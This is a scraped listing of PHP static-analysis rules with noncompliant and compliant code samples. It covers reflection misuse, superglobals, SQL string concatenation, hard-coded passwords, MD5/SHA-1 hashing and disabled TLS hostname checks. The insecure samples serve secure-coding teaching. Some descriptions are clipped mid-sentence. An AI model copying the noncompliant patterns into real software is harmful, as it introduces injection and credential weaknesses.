This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors. Noncompliant Code Exampleclass MyClass { public static $publicstatic = 'Static'; private static $privatestatic = 'private Static'; private $private = 'Private'; private const CONST_PRIVATE = 'Private CONST'; public $myfield = 42; private function __construct() {} private function privateMethod() {} public function __set($property, $value) {} public function __get($property) {} } $clazz = new ReflectionClass('MyClass'); $clazz->getstaticProperties(); // Noncompliant . This gives access to private static properties $clazz->setStaticPropertyValue('publicstatic', '42'); // OK as there is no overloading to bypass and it respects access control. $clazz->getStaticPropertyValue('publicstatic'); // OK as there is no overloading to bypass and it respects access control. // The following calls can access private or protected constants. $clazz->getConstant('CONST_PRIVATE'); // Noncompliant. $clazz->getConstants(); // Noncompliant. $clazz->getReflectionConstant('CONST_PRIVATE'); // Noncompliant. $clazz->getReflectionConstants(); // Noncompliant. $obj = $clazz->newInstanceWithoutConstructor(); // Noncompliant. Bypassing private constructor. $constructor = $clazz->getConstructor(); $constructorClosure = $constructor->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $constructor->setAccessible(true); // Noncompliant. Bypassing constructor accessibility. $prop = new ReflectionProperty('MyClass', 'private'); $prop->setAccessible(true); // Noncompliant. Change accessibility of a property. $prop->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method. $prop->getValue($obj); // Noncompliant. Bypass of the __get method. $prop2 = $clazz->getProperties()[2]; $prop2->setAccessible(true); // Noncompliant. Change accessibility of a property. $prop2->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method. $prop2->getValue($obj); // Noncompliant. Bypass of the __get method. $meth = new ReflectionMethod('MyClass', 'privateMethod'); $clos = $meth->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $meth->setAccessible(true); // Noncompliant. Change accessibility of a method. $meth2 = $clazz->getMethods()[0]; $clos2 = $meth2->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $meth2->setAccessible(true); // Noncompliant. Change accessibility of a method. // Using a ReflectionObject instead of the class $objr = new ReflectionObject($obj); $objr->newInstanceWithoutConstructor(); // Noncompliant. Bypassing private constructor. $objr->getStaticPropertyValue("publicstatic"); // OK as there is no overloading to bypass and it respects access control. $objr->setStaticPropertyValue("publicstatic", "newValue"); // OK as there is no overloading to bypass and it respects access control. $objr->getStaticProperties(); // Noncompliant. This gives access to private static properties // The following calls can access private or protected constants. $objr->getConstant('CONST_PRIVATE'); // Noncompliant. $objr->getConstants(); // Noncompliant. $objr->getReflectionConstant('CONST_PRIVATE'); // Noncompliant. $objr->getReflectionConstants(); // Noncompliant. $constructor = $objr->getConstructor(); $constructorClosure = $constructor->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $constructor->setAccessible(true); // Noncompliant. Bypassing constructor accessibility. $prop3 = $objr->getProperty('private'); $prop3->setAccessible(true); // Noncompliant. Change accessibility of a property. $prop3->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method. $prop3->getValue($obj); // Noncompliant. Bypass of the __get method. $prop4 = $objr->getProperties()[2]; $prop4->setAccessible(true); // Noncompliant. Change accessibility of a property. $prop4->setValue($obj, "newValue"); // Noncompliant. Bypass of the __set method. $prop4->getValue($obj); // Noncompliant. Bypass of the __get method. $meth3 = $objr->getMethod('privateMethod'); $clos3 = $meth3->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $meth3->setAccessible(true); // Noncompliant. Change accessibility of a method. $meth4 = $objr->getMethods()[0]; $clos4 = $meth4->getClosure($obj); // Noncompliant. It is possible to call private methods with closures. $meth4->setAccessible(true); // Noncompliant. Change accessibility of a method. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2043 |
Superglobal variables are predefined variables available in all scopes throughout a script. However, accessing them directly is considered bad practice. Instead, they should be accessed through an object or framework that handles sanitation and validation. Noncompliant Code Example$name = $_POST['name']; Compliant Solution$name = $this->params()->fromPost('name'); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2046 |
Shared coding conventions allow teams to collaborate effectively. This rule flags all Perl-style comments. Noncompliant Code Example$myvar; # Noncompliant; this comment should have started with "//" Compliant Solution$myvar; // Compliant; this comment started with "//" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1990 |
There is no need to use the Noncompliant Code Examplefinal class MyClass { public final String getName() { // Noncompliant return name; } } Compliant Solutionfinal class MyClass { public String getName() { // Compliant return name; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2166 |
Clear, communicative naming is important in code. It helps maintainers and API users understand the intentions for and uses of a unit of code.
Using "exception" in the name of a class that does not extend Noncompliant Code Exampleclass FruitException { // Noncompliant; this has nothing to do with Exception private $expected; private $unusualCharacteristics; private $appropriateForCommercialExploitation; // ... } class CarException { // Noncompliant; the extends clause was forgotten? public function __construct(string message, Throwable cause) { // ... Compliant Solutionclass FruitSport { private $expected; private $unusualCharacteristics; private $appropriateForCommercialExploitation; // ... } class CarException extends Exception { public function __construct(string message, Throwable cause) { // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1871 |
Having two Noncompliant Code Exampleswitch ($i) { case 1: doFirst(); doSomething(); break; case 2: doSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation doFirst(); doSomething(); break; default: doTheRest(); } if ($a >= 0 && $a < 10) { doFirst(); doTheThing(); } else if ($a >= 10 && $a < 20) { doTheOtherThing(); } else if ($a >= 20 && $a < 50) { doFirst(); doTheThing(); // Noncompliant; duplicates first condition } ExceptionsBlocks in an if ($a >= 0 && $a < 10) { doTheThing(); } else if ($a >= 10 && $a < 20) { doTheOtherThing(); } else if ($a >= 20 && $a < 50) { doTheThing(); // no issue, usually this is done on purpose to increase the readability } But this exception does not apply to if ($a >= 0 && $a < 10) { doTheThing(); } else if ($a >= 20 && $a < 50) { doTheThing(); //Noncompliant; this might have been done on purpose but probably not } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code Examplefor ($i = 0; $i < 10; $i++) { // Noncompliant echo "i is $i"; break; } ... for ($i = 0; $i < 10; $i++) { // Noncompliant if ($i == $x) { break; } else { echo "i is $i"; return; } } Compliant Solutionfor ($i = 0; $i < 10; $i++) { echo "i is $i"; } ... for ($i = 0; $i < 10; $i++) { if ($i == $x) { break; } else { echo "i is $i"; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2047 |
Well-named functions can allow the users of your code to understand at a glance what to expect from the function - even before reading the documentation. Toward that end, methods returning a boolean property should have names that start with "is" or "has" rather than with "get". Note that this rule will only apply to functions that are documented to return a boolean. Noncompliant Code Example/** * @return boolean */ public function getFoo() // Noncompliant { return foo; } Compliant Solution/** * @return boolean */ public function isFoo() { return true; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. Noncompliant Code ExampleWith the default regular expression public function doSomething($my_param){ $LOCAL; ... } Compliant Solutionpublic function doSomething($myParam){ $local; ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2070 |
The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160. Consider using safer alternatives, such as SHA-256, SHA-512 or SHA-3. Noncompliant Code Example$password = ... if (md5($password) === '1f3870be274f6c49b3e31a0c6728957f') { // Noncompliant; md5() hashing algorithm is not secure for password management [...] } if (sha1($password) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') { // Noncompliant; sha1() hashing algorithm is not secure for password management [...] } See
DeprecatedThis rule is deprecated; use S4790 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S115 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression define("const1", true); class Foo { const const2 = "bar"; } Compliant Solutiondefine("CONST1", true); class Foo { const CONST2 = "bar"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S116 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression class MyClass { $my_field; } Compliant Solutionclass MyClass { $myField; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S113 |
Some tools work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: +class Test { +} \ No newline at end of file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S114 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all interface names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression interface myInterface {...} // Noncompliant Compliant Solutioninterface MyInterface {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1788 |
The ability to define default values for method arguments can make a method easier to use. Default argument values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code. But all method arguments with default values should be declared after the method arguments without default values. Otherwise, it makes it impossible for callers to take advantage of defaults; they must re-specify the defaulted values in order to "get to" the non-default arguments. Noncompliant Code Examplefunction makeyogurt($type = "acidophilus", $flavor){...} // Noncompliant makeyogurt("raspberry")}} // Runtime error: Missing argument 2 in call to makeyogurt() Compliant Solutionfunction makeyogurt($flavor, $type = "acidophilus", ){...} makeyogurt("raspberry")}} // Works as expected |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Example$target = -5; $num = 3; $target =- $num; // Noncompliant; target = -3. Is that really what's meant? $target =+ $num; // Noncompliant; target = 3 Compliant Solution$target = -5; $num = 3; $target = -$num; // Compliant; intent to assign inverse value of num is clear $target += $num; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplefunction handle_sockets($domain, $type, $protocol, $port, $backlog, $addr, $hostname, $local_socket, $remote_socket, $fd) { socket_create($domain, $type, $protocol); // Sensitive socket_create_listen($port, $backlog); // Sensitive socket_addrinfo_bind($addr); // Sensitive socket_addrinfo_connect($addr); // Sensitive socket_create_pair($domain, $type, $protocol, $fd); fsockopen($hostname); // Sensitive pfsockopen($hostname); // Sensitive stream_socket_server($local_socket); // Sensitive stream_socket_client($remote_socket); // Sensitive stream_socket_pair($domain, $type, $protocol); // Sensitive } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif(someCondition) doSomething(); Compliant Solutionif(someCondition) { doSomething(); } ExceptionsAnonymous functions containing a single statement are ignored. $max_comparator = function ($v) { return $v > 2; }; // Compliant $max_comparator = function ($v) { echo $v; return $v > 2; }; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. The following functions are detected as SQL query execution:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Example$id = $_GET['id']; mysql_connect('localhost', $username, $password) or die('Could not connect: ' . mysql_error()); mysql_select_db('myDatabase') or die('Could not select database'); $result = mysql_query("SELECT * FROM myTable WHERE id = " . $id); // Sensitive, could be susceptible to SQL injection while ($row = mysql_fetch_object($result)) { echo $row->name; } Compliant Solution$id = $_GET['id']; try { $conn = new PDO('mysql:host=localhost;dbname=myDatabase', $username, $password); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $conn->prepare('SELECT * FROM myTable WHERE id = :id'); $stmt->execute(array('id' => $id)); while($row = $stmt->fetch(PDO::FETCH_OBJ)) { echo $row->name; } } catch(PDOException $e) { echo 'ERROR: ' . $e->getMessage(); } ExceptionsNo issue will be raised if one of the functions is called with hard-coded string (no concatenation) and this string does not contain a "$" sign. $result = mysql_query("SELECT * FROM myTable WHERE id = 42") or die('Query failed: ' . mysql_error()); // Compliant The current implementation does not follow variables. It will only detect SQL queries which are concatenated or contain a $query = "SELECT * FROM myTable WHERE id = " . $id; $result = mysql_query($query); // No issue will be raised even if it is Sensitive See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1780 |
According to the PSR2 coding standard:
According to the PHP manual:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1781 |
Using indifferently lower or upper case for PHP keywords and constants "true", "false" and "null" can impact the readability of PHP source code. Noncompliant Code Example<?php ECHO 'Hello World'; ?> Compliant Solution<?php echo 'Hello World'; ?> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S121 |
While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance. Noncompliant Code Exampleif (condition) // Noncompliant executeSomething(); Compliant Solutionif (condition) { executeSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1541 |
The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1784 |
Class methods may be defined as public, private, or protected. Methods declared without any explicit visibility keyword are defined as public. To prevent any misunderstanding, this visibility should always be explicitly declared. Noncompliant Code Examplefunction foo(){...} Compliant Solutionpublic function foo(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code Exampleswitch ($variable) { case 0: do_something(); break; default: do_something_else(); break; } Compliant Solutionif ($variable == 0) { do_something(); } else { do_something_else(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor ($i = 0; $i < 42; $i++){} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: function doSomething($param1, $param2, $param3, $param4, $param5) { ... } Compliant Solutionfunction doSomething($param1, $param2, $param3, $param4) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S907 |
Noncompliant Code Example$i = 0; loop: echo("i = $i"); $i++; if ($i < 10){ goto loop; } Compliant Solutionfor ($i = 0; $i < 10; $i++){ echo("i = $i"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S905 |
Any statement (other than a null statement, which means a statement containing only a semicolon Noncompliant Code Example$a == 1; // Noncompliant; was assignment intended? $a < $b; // Noncompliant; have we forgotten to assign the result to a variable? See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplepublic function setName($name) { $name = $name; } Compliant Solutionpublic function setName($name) { $this->name = $name; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1779 |
All developers should use the same end-line character(s) to prevent polluting the history changelog of source files in the SCM engine. Moreover some SCM engines like Git might sometimes badly support use of Windows 'CRLF' end of line characters. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2187 |
There's no point in having a PHPUnit test case without any test methods. Similarly, you shouldn't have a file in the tests directory which extends PHPUnit\Framework\TestCase but no tests in the file. Doing either of these things may lead someone to think that uncovered classes have been tested. Add some test method or make the class abstract if it is used by a real test case class. Noncompliant Code Exampleuse PHPUnit\Framework\TestCase; class MyTest extends TestCase { protected function setUp() { doSomethind(); } private function doSomethind() { //... } } Compliant Solutionuse PHPUnit\Framework\TestCase; class MyTest extends TestCase { public function testBehaviour() { //... } //... } // or abstract class MyAbstractTest extends TestCase { protected function setUp() { doSomethind(); } private function doSomethind() { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S112 |
If you throw a general exception type, such as ErrorException, RuntimeException, or Exception in a library or framework, it forces consumers to catch all exceptions, including unknown exceptions that they do not know how to handle. Instead, either throw a subtype that already exists in the Standard PHP Library, or create your own type that derives from Exception. Noncompliant Code Examplethrow new Exception(); // Noncompliant Compliant Solutionthrow new InvalidArgumentException(); // or throw new UnexpectedValueException(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example$password = "65DBGgwe4uazdWQA"; // Sensitive $httpUrl = "https://example.domain?user=user&password=65DBGgwe4uazdWQA" // Sensitive $sshUrl = "ssh://user:65DBGgwe4uazdWQA@example.domain" // Sensitive Compliant Solution$user = getUser(); $password = getPassword(); // Compliant $httpUrl = "https://example.domain?user=$user&password=$password" // Compliant $sshUrl = "ssh://$user:$password@example.domain" // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S110 |
Inheritance is certainly one of the most valuable concepts in object-oriented programming. It's a way to compartmentalize and reuse code by creating collections of attributes and behaviors called classes which can be based on previously created classes. But abusing this concept by creating a deep inheritance tree can lead to very complex and unmaintainable source code. Most of the time a too deep inheritance tree is due to bad object oriented design which has led to systematically use 'inheritance' when for instance 'composition' would suit better. This rule raises an issue when the inheritance tree, starting from |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code Example$a = $b + $c; // This is a trailing comment that can be very very long Compliant Solution// This very long comment is better placed before the line of code $a = $b + $c; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S930 |
Calling a function or a method with fewer or more arguments than expected will raise a TypeError. This is usually a bug and should be fixed. Provide missing arguments to the call, or define default values if there are fewer arguments. Reduce the number of arguments provided by the function call, or add more parameter if there are more arguments than expected. Noncompliant Code Examplefunction myFunction($a, $b, $c = null) { //... } myFunction($a); // Noncompliant - 2 arguments are required ExceptionsNo issue is reported when arguments are used in the body of the function being called. function myFunction() { $arg_list = func_get_args(); //... } myFunction($a, $b); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4792 |
Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities: Logs are useful before, during and after a security incident.
Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged. This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:
Sensitive Code ExampleBasic PHP configuration: function configure_logging() { error_reporting(E_RECOVERABLE_ERROR); // Sensitive error_reporting(32); // Sensitive ini_set('docref_root', '1'); // Sensitive ini_set('display_errors', '1'); // Sensitive ini_set('display_startup_errors', '1'); // Sensitive ini_set('error_log', "path/to/logfile"); // Sensitive - check logfile is secure ini_set('error_reporting', E_PARSE ); // Sensitive ini_set('error_reporting', 64); // Sensitive ini_set('log_errors', '0'); // Sensitive ini_set('log_errors_max_length', '512'); // Sensitive ini_set('ignore_repeated_errors', '1'); // Sensitive ini_set('ignore_repeated_source', '1'); // Sensitive ini_set('track_errors', '0'); // Sensitive ini_alter('docref_root', '1'); // Sensitive ini_alter('display_errors', '1'); // Sensitive ini_alter('display_startup_errors', '1'); // Sensitive ini_alter('error_log', "path/to/logfile"); // Sensitive - check logfile is secure ini_alter('error_reporting', E_PARSE ); // Sensitive ini_alter('error_reporting', 64); // Sensitive ini_alter('log_errors', '0'); // Sensitive ini_alter('log_errors_max_length', '512'); // Sensitive ini_alter('ignore_repeated_errors', '1'); // Sensitive ini_alter('ignore_repeated_source', '1'); // Sensitive ini_alter('track_errors', '0'); // Sensitive } Definition of custom loggers with abstract class MyLogger implements \Psr\Log\LoggerInterface { // Sensitive // ... } abstract class MyLogger2 extends \Psr\Log\AbstractLogger { // Sensitive // ... } abstract class MyLogger3 { use \Psr\Log\LoggerTrait; // Sensitive // ... } ExceptionsNo issue will be raised for logger configuration when it follows recommended settings for production servers. The following examples are all valid: ini_set('docref_root', '0'); ini_set('display_errors', '0'); ini_set('display_startup_errors', '0'); error_reporting(E_ALL); error_reporting(32767); error_reporting(-1); ini_set('error_reporting', E_ALL); ini_set('error_reporting', 32767); ini_set('error_reporting', -1); ini_set('log_errors', '1'); ini_set('log_errors_max_length', '0'); ini_set('ignore_repeated_errors', '0'); ini_set('ignore_repeated_source', '0'); ini_set('track_errors', '1'); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2251 |
A Noncompliant Code Examplefor ($i = 0; $i < $length; $i--) { // Noncompliant //... } Compliant Solutionfor ($i = 0; $i < $length; $i++) { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code Example$password = md5($password); // Sensitive $password = sha1($password); // Sensitive Compliant Solution$password = password_hash($password, PASSWORD_BCRYPT); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1600 |
The following predefined variables are deprecated and should be replaced by the new versions:
Noncompliant Code Exampleecho 'Name parameter value: ' . $HTTP_GET_VARS["name"]; Compliant Solutionecho 'Name parameter value: ' . $_GET["name"]; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5527 |
To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate. The certificate's hostname-specific data should match the server hostname. It's not recommended to re-invent the wheel by implementing custom hostname verification. TLS/SSL libraries provide built-in hostname verification functions that should be used. Noncompliant Code Examplecurl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); // Noncompliant curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); // Noncompliant Compliant Solutioncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); // Compliant; default value is 2 to "check the existence of a common name and also verify that it matches the hostname provided" according to PHP's documentation curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, TRUE); // Compliant: From 7.66.0: treats 1 and 2 the same (https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1603 |
In PHP 4, any function with the same name as the nesting class was considered a class constructor. In PHP 5, this mechanism has been deprecated and the "__construct" method name should be used instead. If both styles are present in the same class, PHP 5 will treat the function named "__construct" as the class constructor. This rule rule raises an issue for each method with the same name as the enclosing class. Noncompliant Code Exampleclass Foo { function Foo(){...} } Compliant Solutionclass Foo { function __construct(){...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1605 |
